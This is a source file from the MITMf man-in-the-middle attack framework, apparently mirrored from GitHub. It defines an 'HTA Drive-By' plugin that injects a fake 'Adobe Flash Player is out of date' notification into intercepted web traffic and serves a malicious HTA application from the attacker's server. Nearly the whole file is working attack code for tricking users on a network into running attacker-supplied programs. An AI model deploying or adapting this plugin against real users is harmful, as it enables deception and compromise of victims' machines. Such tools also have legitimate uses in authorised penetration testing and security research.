mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-03-12 04:35:49 -07:00
772ef9ab39
logging is going to have to get cleaned up, but that's a minor issue re-implemented the function to add endpoints to the http server added an option to manually specify the gateways mac in the Spoofer plugin
50 lines
2.0 KiB
Python
50 lines
2.0 KiB
Python
# Copyright (c) 2014-2016 Marcello Salvati
|
|
#
|
|
# This program is free software; you can redistribute it and/or
|
|
# modify it under the terms of the GNU General Public License as
|
|
# published by the Free Software Foundation; either version 3 of the
|
|
# License, or (at your option) any later version.
|
|
#
|
|
# This program is distributed in the hope that it will be useful, but
|
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
# General Public License for more details.
|
|
#
|
|
# You should have received a copy of the GNU General Public License
|
|
# along with this program; if not, write to the Free Software
|
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
|
# USA
|
|
#
|
|
|
|
import re
|
|
|
|
from plugins.plugin import Plugin
|
|
from plugins.inject import Inject
|
|
|
|
class HTADriveBy(Inject, Plugin):
|
|
name = 'HTA Drive-By'
|
|
desc = 'Performs HTA drive-by attacks on clients'
|
|
optname = 'hta'
|
|
ver = '0.1'
|
|
|
|
def initialize(self, options):
|
|
self.bar_text = options.text
|
|
self.ip = options.ip
|
|
self.hta = options.hta_app.split('/')[-1]
|
|
Inject.initialize(self, options)
|
|
self.html_payload = self.get_payload()
|
|
|
|
from core.servers.HTTP import HTTP
|
|
HTTP.add_static_endpoint(self.hta, "application/hta", options.hta_app)
|
|
|
|
def get_payload(self):
|
|
with open("./core/html/htadriveby.html", 'r') as file:
|
|
payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read())
|
|
payload = re.sub("_IP_GOES_HERE_", self.ip, payload)
|
|
payload = re.sub("_PAYLOAD_GOES_HERE_", self.hta, payload)
|
|
return payload
|
|
|
|
def options(self, options):
|
|
options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar")
|
|
options.add_argument('--hta-app', type=str, default='./config/hta_driveby/flash_setup.hta', help='Path to HTA application [defaults to config/hta_driveby/flash_setup.hta]')
|